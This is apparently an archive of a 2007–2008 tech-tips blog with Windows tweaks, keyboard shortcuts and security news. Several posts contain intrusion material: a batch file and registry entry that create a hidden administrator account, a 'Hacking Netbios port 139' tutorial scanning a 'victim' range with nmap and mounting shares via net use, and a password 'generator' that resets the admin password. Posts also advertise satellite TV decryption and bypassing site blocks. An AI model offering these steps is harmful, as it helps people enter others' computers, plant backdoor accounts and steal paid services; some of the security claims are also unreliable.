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DREAM Satellite cable? Unhackable?
2008-03-03 05:58:00
New Software for Digit-All-World (DAW-951) Decoders A new software for Dream Subscribers using DAW-951 decoder units shall be available over-the-air from January 30 to March 13, 2008. This software is an upgrade from the current S/W Version 8.01 to S/W Version 8.02.The new software aims to improve the over-all performance of your decoder and prepares the same for the upgrading of Dream’s security system.Subscribers just need to tune-in to any of the following Dream Channels 1 to 10 during these dates to complete the upgrade/download process. Is this true?Well, the DREAM TV engineering team must have a better way to upgrade their system security. We came across a company that is capable of reverse-engeneering that encryption. If you have an existing DREAM box (any model) they can open up that for you and enjoy lifetime FREE Satellite TV signal direct to your home (All package) for only $250.00 USD or 10,000.00 Pesos (Philippine peso). This is not a hoax, we have known so many of t...
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FREE online scanning tool for your PC
2007-08-28 13:58:00
A very useful and yet free online tool to check your PC for weakness, PC armed with the most recent updates for Windows and for your applications is less likely to suffer security breaches and related problems. I use Secunia Software Inspector, a free Web service that scans my PC and examines dozens of programs--including Windows and other Microsoft apps--for updates. It then reports on installed or missing updates, and lets me know where to get them.Feature Overview - The Secunia Software Inspector:* Detects insecure versions of applications installed* Verifies that all Microsoft patches are applied* Assists you in updating your system and applications* Runs through your browser. No installation or download is required.
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Tuning your VISTA-The Fast Track to Your Favorite Files and Folders
2007-08-28 13:34:00
Use Windows' Places Bar, My Recent Documents, or the 'File-name' dropdown menu to speed up your access to the file or folder you want.There you are, rummaging in an 'Open' or 'Save As' dialog box, navigating furiously through a maze of files and folders in search of the one you need. Isn't there a better way? Glad you asked. These tips will get you where you're going faster.Places Bar: Array the two or three folders that you access most often on the Places Bar on the left side of the dialog box. Lincoln Spector describes how at "Keep Your Secrets: A Safe, Easy Way to Encrypt Files." (Windows' Places Bar is separate from the Places Bar in Office apps, so changes to one won't affect the other.)Another option: Put shortcuts to the folders and documents you frequently use in a separate folder, and then add a shortcut to this folder o' shortcuts on the Places Bar. You'll have to click at least once more to select the one you want, but it's still faster than digging through ...
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How to login to your PC using a webcam as security scanner
2007-08-10 05:41:00
Are you tired of locking your computer before leaving your home? Are you confusing yourself with so many passwords?Now a revolutionary technology using only your web cam to gain access to your PC is the solution, by merely scanning your face the program identifies you and allow you to access the lock PC.Fun, fast and practical solution in securing your computer access.visit www.bananasecurity.com
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34 keyboard shortcuts in Yahoo!Mail!
2007-08-10 05:23:00
Shift+r - reply in a new windowa - reply allShift+a - reply all in a new windowf - forward messageShift+f - forward in a new windowk - mark as readShift+k - mark as unreadl - flagShift+l - clear flagm - check mailShift+m - check all mailCtrl+ - close current tabn - new messageShift+n - new message in its own windowr - replydel - delete itemp/Ctrl+p - printCtrl+s - save draftCtrl+Enter - send messagev - turn reading pane on/offCtrl+[ - navigate through tabsCtrl+] - navigate through tabsEnter - open message in its own tab (when message is selected)Enter - edit contact info (when contact is selected)Ctrl+f - find a word or phrase in messageF11 - expand window to max heightCtrl+. - next message (in message tab)Ctrl+, - previous message (in message tab)Ctrl+Alt+Shift+up arrow/down arrow - next/previous messageCtrl+Shift+End - skip to oldest unread messaged - move message to folderEsc - close read - message tabCtrl+Shift+End - start a new chat
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Single line of HTML crashes IE 6
2007-08-09 19:13:00
A Japanese blogger who goes by the name Hamachiya2 has discovered a single line of HTML and CSS that crashes IE 6. The line is:If you’re brave, you can click here to try it out. The code is rendered correctly in Firefox, Safari and Opera (didn’t get a chance to try any other browsers, but presumably they work too). But in IE 6 it raises a fatal error in mshtml.dllSolution:Upgrade to IE 7 or use FireFox
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How to convert images into pure ASCII text
2007-08-09 18:27:00
A nice Firefox extension that allows you to convert any web images and process to a text file of the original image without aditional software installed in your computer. A helpful tool for ASCII Art.Right-click on an image and choose "Download this image as text" from the context menu. You can download text file with characters are ordered to form the images.Download extension HEREWorks with FireFox 1.0 – 2.0.0.*
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XP tweak: Getting older programs to run on Windows XP
2007-08-09 12:38:00
Most programs run properly on Windows XP. The exceptions are some older games and other programs that were written specifically for an earlier version of Windows. To run your program on Windows XP, you can try the following.
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Accessing block website using calculator
2007-08-09 08:54:00
1) Get its IP address (66.94.234.13), by pinging the name e.g. yahoo.com by using accessing your DOS command prompt.2) start your PC's calculator, and change it to scientific mode (using the "View" menu)3) enter each of the four IP octets, one by one, converting them to binary (enter number and click on the "Bin" radio button)Thus 66.94.234.13 becomes66 = 100001094 = 1011110234 = 1110101013 = 1101Notice how any binary numbers less than 8 digits long have had leading zeroes added to pad them out. Reassembled into IP address order, you get 1000010.1011110.11101010.11014) Remove the dots, so you get one huge line of binary, thus:100001010111101110101011015) Copy this binary string6) Go to your scientific calculator, and hit the "Bin" button FIRST (as you are about to enter binary), THEN paste in the binary string.7) Click on the "Dec" button on your calculator, and you will get the converted value of 349917898) Add the hypertext protocol prefix and paste into your browser's address b...
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5 killer steps in hiding Hard Drive In WIN XP
2007-07-19 19:37:00
1. Go to Start > run > type "diskpart". (Without Quote) a dos window will appear with following prompt.DISKPART>2. Then type "list volume" this will look like it3. If u wanna hide drive E then type "select volume 2"then a message will appear in same winwods { Volume 3 is the selected volume}4. Now type " remove letter E" now a message will come { Diskpart Removed the Drive letter }sometime it requires the reboot the computer .5. Diskpart will remove the letter .Windows XP is not having capabilty to identify the unkown volume.Don afraid ur Data will ramin same . To Come backe the Drive repeat the process . but in 4th step whish is shown in this post replace " remove" to "assign"i mean type " assign letter E"
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Using the hidden Password Generator In Win XP
2007-07-19 19:09:00
We all know that we must have a strong password to protect are private data. A strong password must have letters, numbers, and symbols. The greater variety of characters that you have in your password, the harder it is to guess.You can use some online password generator to get a strong password. But did you know that in Windows Xp you can generate a random password.Here's how:1. Go to Run on the Start menu and type ‘cmd’ (without the quotes)2. A DOS like command prompt window will open. You must see the flashing cursor.3. At the command prompt type ‘net user administrator /random’ (without the quotes)Note: There is space before the slant(/)Command prompt will now generate a strong password for you to use.You can also use this if you forgot your admin password
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How to create hidden Admin Account on windows
2007-06-09 06:29:00
This batch (*.bat) file can be used to create an administrator accountcalled "USER" with a password of "PASS"(Add the following text to a new file and give it a .bat extension:@echo offnet user USER PASS /addnet localgroup Admin istrators USER /addNow we need to make a registry entry fil that will cause an accountwith "USER" as the username to be hidden from the Welcome Screen andin most cases also hidden from the basic User Account s settingswindows... found in the control panel:place the following text in a file with a .reg extension.Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINESOFTWAREMicrosoftW indows NTCurrentVersionWinlogonSpecialAccountsUs erList]"USER"=dword:00000000Now, from the welcome screen in windows xp, press and hold Ctrl-Alt-Delete to manually type in a desired username and password (eg. to loginto a hidden account)I hope this information will be useful to someone
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How to have a multiple Log-In in Yahoo messenger
2007-05-26 15:27:00
You can login with multiple id's on the same yahoo messenger without any download or patch .Follow these steps1. Go to Start ----> Run . Type regedit, then hit enter .2.Navigate to HKEY_CURRENT_USER --------> Software --->yahoo ----->pager---->Test3.On the right pane , right-click and choose new Dword value .4.Rename it as Plural.5.Double click and assign a decimal value of 1.That's it done!!Now close registry and restart yahoo messenger .For signing in with new id open another messenger
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Control multiple computers with a single keyboard and mouse
2007-04-30 12:00:00
by Adam PashYou don't need a hardware switch to share one keyboard and mouse amongst several different computers. All you need is the free, cross-platform application, Synergy.Synergy connects one keyboard and mouse to any computer on your network, making a dual- or triple-computer setup work more like a dual- or triple-monitor setup. Synergy even allows you to share clipboard data across your computers and operating systems.Today I'll detail how to set up Synergy on your home network to control all of your desktops with one mouse and keyboard.How it worksSynergy uses one computer as a server - that's the computer that will be sharing its keyboard and mouse. The rest of your computers - the ones you want to control - will need to be set up as Synergy clients.The great part about Synergy is that you can customize the program to work with the layout of your computers. For example, if you've got your MacBook running to the left of your Windows PC, you can set up Synergy so that mov...
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World's greatest Brand name.Where does it come from?
2007-03-06 05:24:00
Adobe - came from name of the river Adobe Creek that ran behind thehouse of founder John Warnock.Apache - It got its name because its founders got started by applying patchesto code written for NCSA's httpd daemon. The result was 'A PAtCHy'server -- thus, the name ApacheApple Computers - favorite fruit of founder Steve Jobs. He was three monthslate in filing a name for the business, and he threatened to call his company AppleComputers if the other colleagues didn't suggest a better name by 5 o'clock.CISCO - its not an acronym but the short for San Francisco.Google - the name started as a jokey boast about the amount of informationthe search-engine would be able to search. It was originally named 'Googol',a word for the number represented by 1 followed by 100 zeros. After founders,Stanford grad students Sergey Brin and Larry Page presented their project toan angel investor, they received a cheque made out to 'Google'Hotmail - Founder Jack Smith got the idea of accessing e-ma...
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Dangers of Mozilla Firefox - Hacking usernames and passwords
2007-03-03 13:30:00
What is Mozilla Firefox ?Mozilla Firefox (originally known as "Phoenix" and briefly as "Mozilla Firebird") is a free, cross-platform, graphical web browser developed by the Mozilla Foundation and hundreds of volunteers , and acclaimed as the award-winning Web browser as faster, more secure, and fully customizable to your online life. But is that it?Firefox 2.0.0.2 (as to the latest of the moment), using its default security installation setting is to remember all site username and password, all you need to do during log-in to password protected site is just to enter the first letter of your username and firefox will do the rest.The worst thing is that it can actually show the passwords and usernames (as shown below).This situation is dangerous if you are not alone using the computer.A simple work around is by dis-abling the default setting in 3 steps:1. Go to the "tools" menu in the Firefox browser2. Choose "option"3. Then click on the "security" and uncheck the "remember password".
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What your Wi-Fi spills in public?
2007-03-03 05:32:00
Logging on to a free Wi-Fi hot spot is a definite perk of the wireless age–unless it gets you slapped with a fine or spills your secrets.Just connecting to a wireless access point leaks “all kinds of information that an attacker can use,” said David Maynor, Errata Security’s chief technology officer, in a presentation at the Black Hat conference in Washington, D.C. “If the government was taking this information from you, people would be up in arms. Yet you’re leaking this voluntarily using your laptop at the airport.”With the right technology, sniffers and snoops can find out your username and password, and pinpoint where else you’ve connected. Even Macs aren’t immune. CNET News.com’s Joris Evers has the full story.–Jessica DolcourtAssistant Editordownload.com
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Hacking Netbios port 139 - Tutorial
2007-02-28 12:23:00
This is for educational purpose only, this hack works with unpatched version of Windows 2000/NT/XP. (only works if the shared drive that has no password set by administrator)Step 1:-Get a IP (range) scanner. (NMAP is a fast one)-Scan the victim's ip on TCP/IP port 139 Step 1.1-Open a dos prompt-Do this by going to start/run-Type cmd When you are already in DOS command prompt type-NMAP -v -p 139 88.207.1.1-100 (example target ip range)-when you got an open port proceed to step 2Step 2 This is what you need to type down:Replace 255.255.255.255 with the victims IP address.c:windows>nbtstat -a 255.255.255.255If you see this your in:Step 3type down:c:windows>net view 255.255.255. 255Step 4type down:c:windows>net use x: 255.255.255. 255SYSVOL(you can replace x: by anything letter you want but not your own driveletters.)Note:SYSVOL is the name of the shared harddrive.If the command is successful we will get the confirmation.The command was completed successfullly.Bingo your inside...
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The danger of "Ctrl+C" (copy shortcut)
2007-02-17 00:09:00
Ctrl+C may be the most important work we do everyday. But it's not a very safe thing to do. Read on to know why. What happens when you press Ctrl+C while you are Online... We do copy various data by Ctrl + C for pasting elsewhere. This copied data is stored in clipboard and is accessible from the net by a combination of Javascripts and ASP.Just try this:1) Copy any text by Ctrl + C2) Click the Link: Here3) You will see the text you copied was accessed by this web page.Do not keep sensitive data (like passwords, credit card numbers, PIN etc.) in the clipboard while surfing the web. It is extremely easy to extract the text stored in the clipboard to steal your sensitive information. Forward this information to as many friends as you can, to save them from online frauds ! " Interestingly, this hack works only on internet explorer, and not on Mozilla Firefox browser.
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How to surf the internet Offline
2007-02-14 14:42:00
Webaroo's advanced technology enables you to search web content offline on your Windows laptop/desktop,Windows Mobile PDA/Smartphone,portable storage devices and U3 devices.With Webaroo you can:store your web content (web packs and websites), search or browse the content that you have stored offline,sync your content(optional) to a windows mobile device to access the latest web content on the go.Webaroo is fast,free and always on.It offers download of over 100 web packs, like Wikipedia,News,sports,celebrities.You can also download your browser bookmarks,favorites or almost any website to access on the go.Webaroo is available in English,Chinese,Grench,German,Italian,Jap ansese and Spanish Languages and can be also downloaded from the developer's web site.Supported Operating Systems:Windows Vista/XP/2000Mobile Device OS:Windows Mobile 2003 SE & 5.0 for PDAs and Smartphones.
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5 steps to cleanup your Hardrive
2007-02-13 07:22:00
Disk Cleanup is a Windows utility that helps you free up space on your hard disk. The utility identifies files that you can safely delete, and then enables you to choose whether you want to delete some or all of the identified files: • Removes temporary Internet files • Empties the Recycle Bin • Removes windows temporary files • Removes optional windows components • Removes windows installed program that are no longer needed How to perform Disk Cleanup in Windows XP: 1. Click Start > All Programs. 2. Go to Accessories. 3. Select System Tools. 4. Click Disk Cleanup. 5. Select the drive to clean up and click OK. Disk clean up can also be performed using the following method. 1. Click Start > Run. 2. Click Run. 3. Type in cleanmgr. 4. Click OK. 5. Select the drive to clean up and click OK.
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Hacking the DREAM Satellite TV
2007-02-12 04:52:00
DREAM Satellite TV is a direct-to-home television broadcasting service via satellite in the Philippines. It is owned by Philippine Multi-Media System, Inc. and its broadcast center located at Clark Special Economic Zone in Pampanga City, Philippines.The channel content are compressed and transmitted via Mabuhay Satellite Aguila 2 in NTSC format and re-transmitted back to the Philippines exclusive to DREAM subscribers with satellite receiver terminal.DREAM subscribers should acquire a 60 cm Satellite Dish Antenna, a Integrated Receiver Decoder (IRD) and a Conditional Access Card (CAS) DREAM Smart card to receive the signal.Satellite signals of Dream are encrypted using a Conditional Access System to prevent signal thief. Thus, exclusive use of Dream programs and services will only be available to Dream subscribers using DREAM Smart Card.Unit cost: 5,900 Php / 123.00 $ (Inclusive IRD and Satellite Antenna)monthly bill: 890.00 Php/ 19.00 $ Equipment that can hack DREAM Satel...
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Things you must know about your blog
2007-02-08 15:10:00
So, how many years are you blogging? Did your blog grow? Well, There are several known methods to check if you made any progress in blogging.First check your back links thru the search engines because they come first and play major rule in determining your blog popularity by checking your back links.(Note:It is so important to increase your incoming link by exchanging links with other site (but be aware of page rank). The blog that has lots of incoming link or higher link popularity may rank high in search engines and will give you very good traffic. )-Yahoo linkdomain:www.anysite.com-Google link:www.anysite.comAnother tool to trace you blog progress is by checking it in Alexa Rank, here you can see a graphical presentation of your traffic, another cool tool is via this website Blog Worth , you can view how much your blog worth in dollars by measuring backlinks.
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What is the top 9 websites of the world?
2007-02-08 14:28:00
Have you ever think what’s website dominate the internet? But it might be your impression that Google, Yahoo and MSN are those players that monopolize the net. But Thanks to Compete.com and Alexa.com who provides the list of Top 5 website that consume people’s time (the data was gathered by comparing 1 million websites)According to Compete Attention 200 (tm) that MySpace.com captivates 11.9% followed by Yahoo.com, Msn.com and eBay.com. Friendster.com ranked only at 189th place at 0.037% (2nd rank in Philippines by Alexa.com) And Global data from Alexa.com says that 1st Yahoo.com, 2nd Msn.com, 3rd Google.com, 4th Baidu.com,5th Youtube.com.
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Microsoft Vista vulnerable to Virus Attack
2007-02-07 01:31:00
Microsoft Corporation is a multinational computer technology corporation with global annual revenue of US$44.28 billion and 76,000 employees in 102 countries. It develops, manufactures, licenses, and supports a wide range of software products for computing devices. Headquartered in Redmond, Washington, USA and recently released Microsoft Vista .But this massive technology company failed to protect its own latest product the Windows Vista released two months ago with its own antivirus the Live OneCare.According to the information by Virus Bulletin, backed by players of security experts in Oxfordshire, U.K. that they tested 15 antivirus products and two of them failed to include Live OneCare and McAfee,Inc.The security experts as part of their standard operating procedure to give pass to antivirus product is to test the antivirus software with actual virus mode of attack and see to it if the antivirus is able to detect the virus.
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Quick Encryption for Windows XP
2007-02-06 11:26:00
What is encryption? Encryption is the process of converting data into a format that cannot be read by others. Windows XP can automatically encrypt your data when it is stored on the hard disk.To encrypt your folder in Windows XP, all you have to do is right click the folder that you want to encrypt and choose the properties, then advance option, but that was the standard method the steps bellow will involve tweaking the registry so that the moment you right click the folder you want to encrypt you can immediately see it as part of the menu .1.Open Registry Editor: Click start | Click Run… | Type regedit | Press Enter2.Navigate to the following key (if it doesn’t exist, create it): HKEY_LOCAL_MACHINESoftwareMicrosoftWindow s CurrentVersionExplorerAdvanced3.Look for a DWORD value called EncryptionContextMenu (if it doesn’t exist, create it).4.Change its value data to 1.5.Click OK and close the Registry Editor.(This hack is not applicable to Microsoft Windows XP Home Editi...
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Know the dangers of screensavers
2007-02-06 01:15:00
Dressing up your personal computer with screen savers from your favorite cartoon characters, actors & actresses and famous movies is a amusing thing to do and its nice to look at and from time to time nice to share it with friends.But a screensavers either free or not, it doesn’t always come so friendly, it is always and most of the time loaded with spyware and adware.The scenario in the internet towards screensavers is so bad, according to the analysis by McAfee, Inc. that there are 15 million searches for the keyword “screensavers” each month, and was found out that mostly the children’s favorite cartoon super heroes is the target for the foul play. But this doesn’t mean that screensavers is bad, but the point is that the website that offers download to this enacts bad practice for profit.Download screensavers or not? The wisest respond is don’t download screensavers!, but if your craving is too much to control then only download from the most trustworthy source, e.g. ...
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Asia internet damage, repair delayed again
2007-02-01 15:45:00
After the December 26, 2006 the 7.1 magnitude earthquake that hit major cities in Asia that left 2 people dead, 42 injured and 7 major submarine cable damaged which brought great impact on the internet speed affecting China, Japan, Hong Kong, Singapore, South Korea, Philippines and as far as Australia.The repair was not yet 100% completed because of continuous bad weather nowadays, it was further assumed that it will be by last week of February 2007.The Office of the Telecommunication Authority (OFTA) confirmed that it looks like the repair would be completed in the last undersea cable by the end of February, rather than the middle of February as they hoped.
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Program your windows XP to heal itself
2007-02-01 11:41:00
Ever experience disk failure to the point your PC needs a new hard disk? Well, you should blame nobody except yourself for most of the times you cant remember to do the routinary task in checking your disk.You can teach your Windows XP to automate all the process by itself, all you need is a simple batch script that takes disk maintenance to the next level by checking all your hard drives for errors, repairing any it finds, and then defragmenting.Originally written by Ted Laun at TechRepublic and with slight modification, this DiskChecker script does the following for all the drive letters you specify: * Using Windows utility dskchk, checks the disk for errors. * If errors are found, repairs them and defrags. * If the drive is a boot disk, sets chckdsk to repair errors after the next reboot and defragments the drive optimized for booting.Here's how to get the DiskChecker script set up. 1. Copy this script and save it with file name DiskChecker.batREM chkdsk and defrag au...
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Turbo charge your Windows 2000
2007-02-01 06:52:00
This tweak requires manual manipulation of your REGISTRY key (Be careful).According to the HTTP specifications, by default only limited number of simultaneous connections are allowed, while loading pages from the internet, to increase that number, you may add the following entries to you Registry :HKEY_USERS.DEFAULTSoftwareMicrosoftWindo wsCurrentVersionInternet Settings"MaxConnectionsPerServer"=dword:0 0000010"MaxConnectionsPer1_0Server"=dword :00000010 HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionInternet Settings"MaxConnectionsPerServer"=dword:0 0000010"MaxConnectionsPer1_0Server"=dword :00000010 Caution: Although those values work fine in most cases, they exceed the HTTP specs and may overload some websites. (If you experience problems, just remove the entries). While these entries might improve web page loading considerably, they tend to strain webservers more.
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